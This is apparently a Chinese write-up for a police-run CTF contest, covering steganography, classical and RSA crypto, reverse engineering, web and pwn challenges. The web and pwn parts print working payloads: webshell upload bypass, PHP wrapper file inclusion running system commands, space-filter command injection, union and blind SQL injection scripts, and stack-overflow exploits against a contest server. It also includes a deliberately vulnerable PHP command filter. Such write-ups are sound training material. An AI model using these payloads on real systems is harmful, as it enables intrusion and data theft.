Single

吉警网络安全技能挑战赛四月赛WP16 min read

[MISC]淡黄的长裙

考点:十六进制查看器的使用、base64、base32、摩斯密码
用winhex打开,文件尾后边有一串base64。base64解码后进行base32解码,得到0和1,是变形的摩斯密码,摩斯密码解密得到flag

flag{Q1NG_CHUN_Y0U_N1}

[MISC]docx隐藏

考点:word隐写
将文件用word打开,全选,替换颜色得到第一段flag。
文件→选项→显示中勾选”显示隐藏文字”,可以看到第二段flag。
将文件后缀改为zip,打开发现文件夹内有带有flag标识的txt。
这三串字符连接起来,拼接成一个完整的flag。

flag{I_be1ieve_y0u_Can_flnd_+h3m}

[MISC]图像通道

考点:十六进制查看器的使用/binwalk、base64与图片互转、stegsolve
题目所给文件的文件名(“我尾巴呢”)已经提示要查看文件尾部内容,

用WinHex或010editor等工具打开文件,在尾部有50 4B 03 04…等字样,
这是ZIP文件头的标志,手工提取出50 4B 03 04 14到末尾的十六进制或利用binwalk工具,存为zip,打开zip文件可以得到一个txt文件。
使用“图片转换base64”工具将txt文件里的base64转成图片,再用stegsolve图片隐写查看工具调整图像通道得到flag。

flag{true_steganographers_doesnt_need_any_tools}

[MISC]属性?真加密?

考点:伪加密、exif、ASCII码
用WinRAR打开压缩包在注释里找到“102,108,97,103,123,105,116,95,105,115,95,115,105,109,112,108,101,95”。
这是ASCII码,用工具或对照ASCII图码表很容易得到前一半的flag。
题目看起来是加密压缩包,其实是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包,用7-Zip可以直接打开伪加密压缩包,得到一张图片。
右键图片查看属性,在“照相机制造商”一栏找到后半段的flag。

flag{it_is_simple_we_are_young}

[MISC]大礼包

考点:Zip密码爆破、base32、base64、栅栏密码、凯撒密码
根据加密压缩包的注释得出密码是6位以上,用ARCHPR工具限定纯数字,7-8位爆破得到密码“9635421”
在图片尾部得到一串base32,解码得到base64,再解码后得到明文sn{bvr1_0yytcyp_fp0}
因为flag格式是flag{},想到栅栏密码对其进行解密()
得到synt{cbyvpr_1f_p00y},再解一次凯撒密码(移位数是13)得到flag。

flag{police_1s_c00l}

[MISC]小老虎

考点:修改图片高度、十六进制查看器的使用/binwalk
利用binwalk或010editor等十六进制查看器工具提取出加密的压缩包。
用WinHex或010editor修改图片高度的得到压缩包的密码。
压缩包里第30个图片大小和其他图片大小不同,打开第30个压缩包就是flag。

flag{U_R_bangbangda}

[MISC]送分

考点:音频隐写
用Audacity打开题目文件,选择“频谱图”,得到flag。

flag{Mu313}

[MISC]流量分析

考点:流量分析过滤器的应用
法一:
过滤http包,尝试关键字搜索“upload”,看到该图片有关数据包。
查看该数据包,看到flag,但不能复制,追踪TCP流,查找flag即可复制。
法二:
过滤语句处输入:http contains flag
过滤到到flag.jpg文件,在该数据包中找到flag。

flag{da73d88936010da1eeeb36e945ec4b97}

[MISC]Deep,MoreDeep plz

考点:
1.提取文件
2.考察C语言(C++)无符号整形数据的存储方式,具体考点为利用数据类型强行转换,改变内存中的存储的数据类型

题目hint文件中,提供了八行数据
通过观察:
每个数据不超过一个整型数据的最大值。
每一行数据对应了cpp文件中的for循环语句,循环一次所生成的结果。
解题思路:
将每行生成的结果逐个进行反向强制转换类型,具体为:
将无符号整型的内存地址强制转换为字符型指针类型。
然后逐项输出,即得到正确答案。以下为C程序的解题过程:

*/

// 需要包含的头文件
#include <stdio.h>
#include <stdlib.h>
// 主函数部分
int main()
{
    // 用于存储八组数据,数组元素个数一定填个大于8的数,方便输出
    int naNum[9] = {
        859254885, 1714499893,
        875837240, 825505075,
        962737761, 1647404083,
        842360118, 811938613
    };
    // 理论上遍历数据中8个数据,逐项进行强制类型转换并输出就可以得到flag。
    // 偷懒如下:
    // 由于数组中的数据存储为连续,所以找到了数组的首地址,一次性就可以全部输出。
    printf("%s", (char *)naNum) ;
    // 暂停一下看看结果
    system("pause");
    // 程序返回
    return 0;
}

[CRYPTO]八戒

考点:猪圈密码
图片结合题目,明显想到猪圈密码,对照猪圈密码表翻译,得到flag。

flag{thispigisverycute}

[CRYPTO]画圈

考点:键盘密码
对着键盘,按规定字母画圈,每一项对应一个圈起来的字母,连起来就是flag。

flag{windows}

[CRYPTO]是乱码吗?

考点:十六进制查看器的使用、词频统计
将十六进制粘贴进十六进制查看器中,保存为RAR格式。
仔细观察RAR压缩包里的文件,发现密文仅由几种字符组成,统计每种字符出现的频率,按出现频率从大到小的顺序对其排列,即为flag。

flag{URbr504JOk}

[CRYPTO]花海

考点:进制转换

将花朵✿替换为0,╹替换为1,得到一串二进制解码得到base64后的flag,解码即可得真flag。

flag{F1ag_1s_F10w3R}

[CRYPTO]Child_RSA

考点:RSA
给了pqec,正常使用RSA TOOL解密即可,或使用脚本,如下:

import gmpy2
import libnum

c=45428353566703788068567067320680093808356893291697098861063005780716643809226
q=329076915794588689371582451519471985987 
p=172340301337210504888233919182916505483 
e=0x10001
n = p*q
d=gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print m
print libnum.n2s(m)

flag{RsA_1S_3ASy}

[CRYPTO]Easy_RSA

考点:RSA
主要是求n,已知n=pq。 (p+1)(q+1)=pq+p+q+1=n+p+q+1
n = (p+1)(q-1)-p-q-1

具体可以参考我的博客,[BJDCTF 2nd]rsa1这道题

换汤不换药,只是修改了数,算法是一样的。

flag{Th1s_15_Not_D1FF1CULT}

[REVERSE]Reverse1

考点:逆向工具的使用

拿到题目,先用查壳工具查壳,发现无壳,直接用OD打开,通过点击右键查找字符串找到程序中一些关键的字符串信息,下图所示。

点击字符串“flag is your input”,跳转到程序使用字符串的位置。在反汇编窗口可以看到一些可疑的数据,如下图所示。

这里如果熟习CTF比赛的同学可以看出图中的16进制数据就是flag,将16进制的数字转换成字符串就是本题的答案。

flag{crack_is_easy}

[REVERSE]Reverse2

考点:脱壳技巧

拿到程序,先用查壳工具PEiD打开,如下图所示,发现程序加了UPX的壳。

用UPX的脱壳软件Free UPX工具将壳脱掉,将程序拖入工具中,点击“解压缩”脱壳,如下图所示。

将壳脱去后,这里用静态分析工具IDA打开程序,选择“View”菜单→“Open subviews”子菜单→“Strings”命令,打开“Strings window”视图,如下图所示。

从上图字符串面板中可以找到程序中的关键字符串,双击关键字符串“please input flag”,跳转到字符串所在程序的位置,如下图所示。

   找到字符串的位置,点击字符串,通过交叉引用(点击字符串并按下键盘上的X键)可以查出程序中调用该字符串的地方,如下图所示。

   可以看出程序中就一个地方调用了字符串,双击函数所在行,跳转到代码执行的地方如下图所示。

  找到程序的代码处,用IDA的快捷键F5将汇编代码翻译成伪代码,如下图所示。

flag{crack_is_funny}

[REVERSE]Reverse3

考点:去除花指令

程序中有花指令,用OD手动去除花指令,用OD将程序打开,如下图。

双击关键字符串“please input flag”,跳转到代码段中引用字符串的地方,在代码下方可以看到代码段标有三个未知指令,如下图所示。

   这里根据题目猜测花指令就在这里,在未知指令前的跳转处下好断点,将程序运行起来,如下图所示。

可以看到在跳转指令处蓝框里箭头找不到位置了,这里看跳转指令本身,程序要跳转到0x00DC1AC5处,而在地址栏中找不到这个地址,地址栏中离这个地址最近的就是0x00DC1AC4,说明程序在跳转到0x00DC1AC5前添加了一个字节,我们将这个字节nop掉就行,让程序执行流程回归正常,如下图所示。

在数据窗口中找到要修改的字节,选中该字节,鼠标右击->二进制->编辑。将字节改成90;如下图所示。

确定后,继续单步执行程序,遇到跳转时又发现花指令,如下图所示。

遇到花指令后,我们继续找到跳转地址,在数据段中将要跳转到地址前一个字节改成90,这个程序中只需要修改两次就能正常运行,这里的修改只是在内存中修改,并没有修改到程序的文件,这里我们选中修改后的代码,如下图所示。

在其上按鼠标右键,单击“复制到可执行文件”,然后单击“选择”,在出现的新窗口中,右键菜单中单击“保存”即可。然后选择保存路径,将程序修改完保存后,我们用IDA分析程序,用IDA将程序打开,选择“View”菜单→“Open subviews”子菜单→“Strings”命令,打开“Strings window”视图找到关键字符串“please input flag”后双击字符串跳转到字符串在数据段中的位置,如下图所示。

鼠标选中字符串“please input flag”,并按下键盘上的X键,找到调用字符串的代码位置后,按下鼠标F5快捷键,将汇编代码翻译成伪代码,如下图所示。

通过上面伪代码可以分析出,我们输入的字符串会与字符串Str异或2后比较。相等就会显示funny,可以判断Str字符串中每个字符异或2就是flag;Str字符串信息如下图所示。

编写脚本,将上图中的字符串逐代码个与2异或,代码如下图所示。

flag{junk_code_is_funny}

[REVERSE]Reverse4

考点:算法

拿到程序,先查壳,发现无壳,用将程序拖入IDA中分析,选择“View”菜单→“Open subviews”子菜单→“Strings”命令,打开“Strings window”视图,如下图所示。

找到关键字符串“please input flag”后双击字符串跳转到字符串在数据段中的位置,如下图所示。

鼠标选中字符串“please input flag”,并按下键盘上的X键,找到调用字符串的代码位置后,按下鼠标F5快捷键,将汇编代码翻译成伪代码,如下图所示。

可以看到程序是将我们输入的字符串跟Str1字符串作比较,我们输入的字符串在经过循环将字符串奇数位的字符依次存放在v7数组里,将偶数位的数依次放到Source数组中,然后将Source跟v7两个字符串拼接得到与字符串Str1进行比较。根据字符串加密过程可以看出这个加密就是栅栏密码,解密代码如下图所示。

flag{arithmetic_is_difficult}

[WEB]ez_upload

考点:文件上传漏洞(JS绕过)

魔改的upload-labs。先尝试上传一个一句话木马文件:

显示禁止上传:

第一种方法:将一句话木马的名字改为yjh.jpg,在上传的同时打开burpsuite抓包拦截:

将其发送给Repeater模块,注意看图:

1将.jpg改为.php   

2 点击发送   

3成功绕过并返回文件上传地址

在利用蚁剑将刚传上去的一句话木马连接,登陆后找到新建文件夹,flag在新建文件夹中:

第二种方法:安装火狐浏览器插件YesScript,禁用JS,再上传木马。

flag{hello_you_r_h3re!}

[WEB]f12

题目f12提示查看源代码,发现f12功能按键被禁用,直接右键点击审查元素,发现flag。

flag{1s_it_Beautifull?}

[WEB]fileinclude

考点:文件包含漏洞,php伪协议

题目点击后看到:

很明显的文件包含漏洞题目,常规套路必定是伪协议读取。

正常情况下的两种读取方式:

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/read=string.rot13/resource=index.php

但是该题filter直接过滤了所以over,尝试考虑其他伪协议读取,本题意让大家了解其他伪协议玩法。

第一种方法:data协议

如果没有过滤base64的话可以使用下面这种方法:

data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZ2dnZy5waHAnKTs/Pg
base64加密的内容是<?php system('cat flagggg.php');?>

但因为此题过滤了base64,所以不适用它进行读取。

本题可以使用以下方法进行读取:

?file=data:text/plain,<?php system('命令');?>,

首先可以使用cat index.phpls命令,发现flag在flagggg.php中,接着读取flagggg.php里的内容即可。

第二种方法:php://input

该方法会将POST传递的值呈现在页面上,如果传递php代码并利用系统函数进行操作就可以进行代码执行。

该方法建议在BurpSuite中进行,火狐中的HackerBar插件可能会不好使,也可以使用Postman软件进行操作。

Postman:

最后选择“Send”获得回显得到flag。

flag{Do_y0u_like_weixieyi?}

[WEB]RCE

考点:RCE过滤空格的Bypass,过滤常用读取命令

此题首先是常规的RCE命令执行需要了解命令连接符。

Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

首先在输入框中输入127.0.0.1;ls查看当前页面有哪些文件,可以直接看到有flag.php,表明flag藏在其中,接着尝试cat读取时会发现命令不允许,中间有空格也不允许,接下来就需要去读取index.php去看看后端代码如何编写的。

接下来可以上网查RCE过滤空格如何绕过,能得到一大堆方式,没有全部写死,有很多种绕过空格的方法。可以用%09、$IFS$9等,接着是绕过cat等读取命令的限制,可以上网查找RCE替代cat的命令,可用more、head、less、tail、sort等绕过。

本题Payload:

127.0.0.1;more$IFS$9flag.php

index.php的代码:

<?php
	if(isset($_GET['cmd'])){
		$cmd = $_GET['cmd'];
		if(preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $cmd, $match)){
			print_r($match);
			print($cmd);
			echo "<pre>";
			echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $cmd, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $cmd)){
			die("Your space is not allowed");
		}
		else if(preg_match("/bash/", $cmd)){
			die("Bash is not allowed");
		}
		else if(preg_match("/cat/", $cmd)){
			die("Your cat is not allowed");
		}
		else if(preg_match("/tac/", $cmd)){
			die("Your tac is not allowed");
		}
else if(preg_match("/rm/", $cmd)){
			die("Your tac is not allowed");
		}

		$a = shell_exec("ping -c 4 ".$cmd);
		echo "<pre>";
		print_r($a);
	}
?>

flag{RCE_1s_very_1ntresting}

[WEB]接头霸王

打开页面什么都没有,直接f12可看到hint,提示robots.txt。

来到robots.txt页面下:

再来到/flagisnothere.php下:

依其所给,可判断出需更改来源网站,查看页面源代码即可发现提示:

提示有一个Referer.php,(其实并没有用)。

回到./flagisnothere.php页面抓包。发送给repeter 并更改Referer 。发送后可发现一串base64编码:

Base64解码:

访问这个页面:

依据源码,第一步,需要get传参:

第二步,利用火狐插件HackBar进行post传参:

flag{best_wishes_to_you}

[WEB]ezsql

考点:SQL注入

正常:

/index.php?id=1

测试,有回显:

?id=1 and 2=2

测试,无回显:

?id=1 and 2=3

查询列数得到字段为3:

?id=1 order by 3

联合查询,回显2:

?id=-1 union select 1,2,3

最后:

?id=-1 union select 1,flag,3 from flag

flag{c9f723edb0a6a2e5cb4c58a222f2a20c}

[WEB]normalsql

考点:绕过空格的SQL注入

同上题,只不过过滤了空格,需要把空格替换成%0a

flag{0a9be924687cec607c460ed9eeafadf5}

[WEB]老八秘制小汉堡

考点:SQL盲注

正常访问:

/index.php?id=1

测试后发现触发waf,总结waf黑名单:

union ‘ ; and limit > < set sleep mid ifnull insert drop like

实验后发现or后边有个空格也会触发waf。union被过滤,考虑盲注。

执行语句无回显的情况:

?id=if(0,1,2)

执行语句有回显:

触发WAF的情况:

数据库报错的情况:

获取4个页面后开始注入,利用正则函数注入fuzz数据库名:

?id=if((database())regexp(“^”),1,2)

得到eight,后来提示flag在flag表内。

/index.php?id=if((select flag from flag where id="1")regexp("^"),1,2)

payload有两种,异或 或者 连等:

  • ?id=1=(表达式)=1
  • ?id=1^(表达式)^1

在regexp内不断的输入字母尝试最终获得flag,脚本如下:

import requests

urla = 'http://ip/index.php?id=if((select flag from flag where id="1")regexp("^flag{'
urlb = '"),1,2)'

strs = ['[0]','[1]','[2]','[3]','[4]','[5]','[6]','[7]','[8]','[9]','a','b','c','d','e','f','}'] #0123456789abcdef}
flag = ''

print(requests.get(urla+urlb).text)
for i in range(40):
    for x in strs:
        url = urla + flag+ x + urlb
        r = requests.get(url)
        if '臭' in r.text:
            flag += x
            print(x)
            break
    print(flag)

第二种脚本改自颖奇大师傅的:

# -*- coding: utf-8 -*-
# python3

import requests
from urllib.parse import quote

flag = ''

for i in range(1,5000):
	for ascii in range(33,127):
		#payload = '(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{},1)))'.format(str(i))
		#payload = '(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{},1)))'.format(str(i))

		payload = '(ascii(substr((select(group_concat(flag))from(flag)),{},1)))'.format(str(i))
		url = 'http://ip/index.php?id=1=({}={})=1'.format(quote(payload), ascii)
		r = requests.get(url)
		text = r.text
		if r"臭豆腐" in text:
			flag += chr(ascii)
			print(flag)
			break

flag{97162c145ba6a0d286298be606d58dc4}

[PWN]Testnc

nc连接后告诉你输入114514,输入后获取flag:

flag{welcome_to_the_pwnworld}

[PWN]How old are you

提供elf文件,Ida分析后得知,Age不能等于94,后面age=94输出flag。

read函数处有明显的栈溢出,终端生成poc(cyclic 20)

aaaabaaacaaadaaaeaaa

数字改变,验证第几位可控age:

from pwn import p32
p32(1633771875)

运行后得到caaa,可知第9位可控,脚本如下:

from pwn import *

r = remote(‘39.96.90.59’,10001)
r.sendline(‘4’)
r.sendline(‘a’*8+p32(94))
r.interactive()

flag{f3e18bd1a92e58bb8a1f958a6fba886a}

[PWN]奶怪的味道

ida分析elf文件,main函数调用game,game函数内存在明显栈溢出漏洞:

动态调试38位后控制ebp,题目提供后门函数qng()

exp 如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./qngsmell')
    #gdb.attach(r,'b * 0x8048539')
else:
	r = remote('39.96.90.59',10002)
elf = ELF('./qngsmell')
qng = elf.symbols['qng']
r.sendline(cyclic(38)+p32(0xdeadbeef)+ p32(qng))
r.interactive()

flag{9e8b6fcb9eca9bf93db1d9d4ec87041e}